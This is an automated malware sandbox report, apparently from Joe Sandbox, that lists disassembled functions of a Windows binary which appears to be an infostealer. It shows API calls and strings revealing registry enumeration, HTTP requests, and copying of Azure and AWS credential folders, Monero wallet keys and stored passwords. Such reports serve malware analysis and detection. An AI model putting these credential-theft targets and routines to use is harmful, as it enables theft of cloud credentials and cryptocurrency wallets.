Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 3469bb8ccd1520c4246fdd58a57ab389de5c207a4c81ccfe33114f5261000d46
Instruction ID: c9737974e83d2b67bfe7fa50ac70e4d395d5c2667229e811fbdecf947f7b4f0d
Opcode Fuzzy Hash: 3469bb8ccd1520c4246fdd58a57ab389de5c207a4c81ccfe33114f5261000d46
Instruction Fuzzy Hash: 45E12E71910108ABCB08EBA4DE96FEE773CAF98311F504158F507A70A2DF716E09CB66

Function 009B7DC0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

RegOpenKeyExA.KERNEL32(00000000,01488960,00000000,00020019,00000000,009C05A6), ref: 009B7E44
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 009B7EC6
wsprintfA.USER32 ref: 009B7EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 009B7F1B
RegCloseKey.ADVAPI32(00000000), ref: 009B7F2C
RegCloseKey.ADVAPI32(00000000), ref: 009B7F39

Part of subcall function 009BA170: lstrcpy.KERNEL32(?,00000000), ref: 009BA1B6

Strings

?, xrefs: 009B7E1A
%s\%s, xrefs: 009B7EED
- , xrefs: 009B8043

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 3011a2e8360289243e1752586c6c1605a525ca91610746ef42576bac657705fb
Instruction ID: 9d7fda95b7d2341e94cfa902bb9f2fd2b36d01fe287572df9489c4eeff7bf2fa
Opcode Fuzzy Hash: 3011a2e8360289243e1752586c6c1605a525ca91610746ef42576bac657705fb
Instruction Fuzzy Hash: 33812A7191511CABDB28DB54CD95FEAB7BCBF58710F008298E10AA6190DF716F89CFA0

Function 009A62D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 009BA170: lstrcpy.KERNEL32(?,00000000), ref: 009BA1B6

Part of subcall function 009A4800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 009A483B
Part of subcall function 009A4800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 009A4852
Part of subcall function 009A4800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 009A4868
Part of subcall function 009A4800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 009A4889
Part of subcall function 009A4800: InternetCrackUrlA.WININET(00000000,00000000), ref: 009A4899

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

InternetOpenA.WININET(009C0DE6,00000001,00000000,00000000,00000000), ref: 009A6331
StrCmpCA.SHLWAPI(?,0148FA70), ref: 009A6353
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 009A6385
HttpOpenRequestA.WININET(00000000,GET,?,0148F538,00000000,00000000,00400100,00000000), ref: 009A63D5
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 009A640F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 009A6421
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 009A644D
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 009A64BD
InternetCloseHandle.WININET(00000000), ref: 009A653F
InternetCloseHandle.WININET(00000000), ref: 009A6549
InternetCloseHandle.WININET(00000000), ref: 009A6553

Strings

ERROR, xrefs: 009A6519
GET, xrefs: 009A63CC
ERROR, xrefs: 009A6457

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 5d40310c480d2e7a9c22a1c15eaa226b8dad6ec03ab69a329791e40890f155e0
Instruction ID: c3f102c3a10727d1be8cdc125eebec9362eae5bcabf23d80efdbc1b64e92e2c7
Opcode Fuzzy Hash: 5d40310c480d2e7a9c22a1c15eaa226b8dad6ec03ab69a329791e40890f155e0
Instruction Fuzzy Hash: FE716F71E00218EBDB14DF94DC59FEEB778AB99700F104199F50A6B190DBB46A84CF91

Function 009B4FF0 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 009BA1F0: lstrlen.KERNEL32(009A4F55,?,?,009A4F55,009C0DC6), ref: 009BA1FB
Part of subcall function 009BA1F0: lstrcpy.KERNEL32(009C0DC6,00000000), ref: 009BA255

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 009B5124
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 009B5181
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 009B5337

Part of subcall function 009BA170: lstrcpy.KERNEL32(?,00000000), ref: 009BA1B6

Part of subcall function 009B4CD0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 009B4D08

Part of subcall function 009BA270: lstrcpy.KERNEL32(?,009C0DFF), ref: 009BA2D5

Part of subcall function 009B4DA0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 009B4DF8
Part of subcall function 009B4DA0: lstrlen.KERNEL32(00000000), ref: 009B4E0F
Part of subcall function 009B4DA0: StrStrA.SHLWAPI(00000000,00000000), ref: 009B4E44
Part of subcall function 009B4DA0: lstrlen.KERNEL32(00000000), ref: 009B4E63
Part of subcall function 009B4DA0: lstrlen.KERNEL32(00000000), ref: 009B4E8E

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 009B526B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 009B5420
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 009B54EC
Sleep.KERNEL32(0000EA60), ref: 009B54FB

Strings

ERROR, xrefs: 009B5116
ERROR, xrefs: 009B5412
ERROR, xrefs: 009B525D
ERROR, xrefs: 009B5329
ERROR, xrefs: 009B54DE
ERROR, xrefs: 009B5173

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 86b8370e99bf45d29712c2ab0c808c19c96009fd3f698f1881b69d9b57d58029
Instruction ID: 50960d8e373ff3833a69ca6eb241ba80287a939abf92bbf9ebbb5ab66b2cb1db
Opcode Fuzzy Hash: 86b8370e99bf45d29712c2ab0c808c19c96009fd3f698f1881b69d9b57d58029
Instruction Fuzzy Hash: 12E13D72914108AACB54FBA4EE96FED773CABD4310F408528F51657092EF356F48CBA2

Function 009B4850 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 009B8880: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 009B88AB

lstrcat.KERNEL32(?,00000000), ref: 009B4890
lstrcat.KERNEL32(?,\.azure\), ref: 009B48AD

Part of subcall function 009B43F0: wsprintfA.USER32 ref: 009B440C
Part of subcall function 009B43F0: FindFirstFileA.KERNEL32(?,?), ref: 009B4423

lstrcat.KERNEL32(?,00000000), ref: 009B491C
lstrcat.KERNEL32(?,\.aws\), ref: 009B4939

Part of subcall function 009B43F0: StrCmpCA.SHLWAPI(?,009C0FAC), ref: 009B4451
Part of subcall function 009B43F0: StrCmpCA.SHLWAPI(?,009C0FB0), ref: 009B4467
Part of subcall function 009B43F0: FindNextFileA.KERNEL32(000000FF,?), ref: 009B465D
Part of subcall function 009B43F0: FindClose.KERNEL32(000000FF), ref: 009B4672

lstrcat.KERNEL32(?,00000000), ref: 009B49A8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 009B49C5

Part of subcall function 009B43F0: wsprintfA.USER32 ref: 009B4490
Part of subcall function 009B43F0: StrCmpCA.SHLWAPI(?,009C08BA), ref: 009B44A5
Part of subcall function 009B43F0: wsprintfA.USER32 ref: 009B44C2
Part of subcall function 009B43F0: PathMatchSpecA.SHLWAPI(?,?), ref: 009B44FE
Part of subcall function 009B43F0: lstrcat.KERNEL32(?,0148F9E0), ref: 009B452A
Part of subcall function 009B43F0: lstrcat.KERNEL32(?,009C0FC8), ref: 009B453C
Part of subcall function 009B43F0: lstrcat.KERNEL32(?,?), ref: 009B4550
Part of subcall function 009B43F0: lstrcat.KERNEL32(?,009C0FCC), ref: 009B4562
Part of subcall function 009B43F0: lstrcat.KERNEL32(?,?), ref: 009B4576
Part of subcall function 009B43F0: CopyFileA.KERNEL32(?,?,00000001), ref: 009B458C
Part of subcall function 009B43F0: DeleteFileA.KERNEL32(?), ref: 009B4611

Strings

Azure\.azure, xrefs: 009B48B3
msal.cache, xrefs: 009B49D0
\.IdentityService\, xrefs: 009B49B9
\.aws\, xrefs: 009B492D
*.*, xrefs: 009B48B8
Azure\.IdentityService, xrefs: 009B49CB
Azure\.aws, xrefs: 009B493F
\.azure\, xrefs: 009B48A1
*.*, xrefs: 009B4944

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: c968bb19903c0d571205e4047912db41d0da7b0c11049ed06f854681f8bc93f7
Instruction ID: 9e45354faaf6b7b68956306851b0d3cfe7cf71224f5c7d18581d83e18e725a68
Opcode Fuzzy Hash: c968bb19903c0d571205e4047912db41d0da7b0c11049ed06f854681f8bc93f7
Instruction Fuzzy Hash: DA41B6BAD40208A7DB14F760DC57FDD773C9BE4704F404498B689660C2EEB057C98BA2

Function 009A1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 009A12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 009A12B4
Part of subcall function 009A12A0: RtlAllocateHeap.NTDLL(00000000), ref: 009A12BB
Part of subcall function 009A12A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 009A12D7
Part of subcall function 009A12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 009A12F5
Part of subcall function 009A12A0: RegCloseKey.ADVAPI32(?), ref: 009A12FF

lstrcat.KERNEL32(?,00000000), ref: 009A134F
lstrlen.KERNEL32(?), ref: 009A135C
lstrcat.KERNEL32(?,.keys), ref: 009A1377

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

Part of subcall function 009BA380: lstrlen.KERNEL32(?,01489170,?,\Monero\wallet.keys,009C0DFF), ref: 009BA395
Part of subcall function 009BA380: lstrcpy.KERNEL32(00000000), ref: 009BA3D4
Part of subcall function 009BA380: lstrcat.KERNEL32(00000000,00000000), ref: 009BA3E2

Part of subcall function 009BA270: lstrcpy.KERNEL32(?,009C0DFF), ref: 009BA2D5

Part of subcall function 009B8600: GetSystemTime.KERNEL32(009C0E02,0148ED18,009C059E,?,?,009A13F9,?,0000001A,009C0E02,00000000,?,01489170,?,\Monero\wallet.keys,009C0DFF), ref: 009B8626

Part of subcall function 009BA2F0: lstrcpy.KERNEL32(00000000,?), ref: 009BA342
Part of subcall function 009BA2F0: lstrcat.KERNEL32(00000000), ref: 009BA352

CopyFileA.KERNEL32(?,00000000,00000001), ref: 009A1465

Part of subcall function 009BA170: lstrcpy.KERNEL32(?,00000000), ref: 009BA1B6

Part of subcall function 009A9A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009A9A3C
Part of subcall function 009A9A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 009A9A61
Part of subcall function 009A9A10: LocalAlloc.KERNEL32(00000040,?), ref: 009A9A81
Part of subcall function 009A9A10: ReadFile.KERNEL32(000000FF,?,00000000,009A148F,00000000), ref: 009A9AAA
Part of subcall function 009A9A10: LocalFree.KERNEL32(009A148F), ref: 009A9AE0
Part of subcall function 009A9A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 009A9AEA

DeleteFileA.KERNEL32(00000000), ref: 009A14EF

Strings

.keys, xrefs: 009A136B
wallet_path, xrefs: 009A1330
\Monero\wallet.keys, xrefs: 009A138D
SOFTWARE\monero-project\monero-core, xrefs: 009A1335

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateChangeCopyCreateDeleteFindFreeNotificationOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 2023266049-218353709
Opcode ID: 395db8c55d8c74a27303a8f9894e15cc9f5c6fd7af9f12df2139516a5a3e7196
Instruction ID: f6427dfdf190c76a6a164d2ea66c5f0a1cce859fe8089e15cb451cad5be7679a
Opcode Fuzzy Hash: 395db8c55d8c74a27303a8f9894e15cc9f5c6fd7af9f12df2139516a5a3e7196
Instruction Fuzzy Hash: 4A5153B1D50118A7CB54FB60DD92FED737CAF94310F4045A8F60A62092EE706B89CBA6

Function 009A7610 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 009A7310: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 009A737A
Part of subcall function 009A7310: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 009A73F1
Part of subcall function 009A7310: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 009A744D
Part of subcall function 009A7310: GetProcessHeap.KERNEL32(00000000,?), ref: 009A7492
Part of subcall function 009A7310: HeapFree.KERNEL32(00000000), ref: 009A7499

lstrcat.KERNEL32(35CAD020,009C17A0), ref: 009A7646
lstrcat.KERNEL32(35CAD020,00000000), ref: 009A7688
lstrcat.KERNEL32(35CAD020, : ), ref: 009A769A
lstrcat.KERNEL32(35CAD020,00000000), ref: 009A76CF
lstrcat.KERNEL32(35CAD020,009C17A8), ref: 009A76E0
lstrcat.KERNEL32(35CAD020,00000000), ref: 009A7713
lstrcat.KERNEL32(35CAD020,009C17AC), ref: 009A772D
task.LIBCPMTD ref: 009A773B

Strings

: , xrefs: 009A768E

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
